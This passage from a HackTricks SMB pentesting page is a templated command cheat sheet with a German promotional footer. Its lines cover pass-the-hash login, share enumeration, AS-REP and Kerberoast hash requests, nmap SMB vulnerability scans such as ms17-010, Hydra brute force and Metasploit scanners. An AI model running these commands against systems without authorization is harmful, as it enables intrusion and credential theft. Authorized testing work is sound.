{Domain_Name} -l {IP} smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` crackmapexec smb {IP} -u {Username} -p {Password} --shares GetADUsers.py {Domain_Name}/{Username}:{Password} -all GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request https://book.hacktricks.xyz/pentesting/pentesting-smb Entry_2: Name: Enum4Linux Description: General SMB Scan Command: enum4linux -a {IP} Entry_3: Name: Nmap SMB Scan 1 Description: SMB Vuln Scan With Nmap Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} Entry_4: Name: Nmap Smb Scan 2 Description: SMB Vuln Scan With Nmap (Less Specific) Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} Entry_5: Name: Hydra Brute Force Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb Entry_6: Name: SMB/SMB2 139/445 consolesless mfs enumeration Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' ```
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.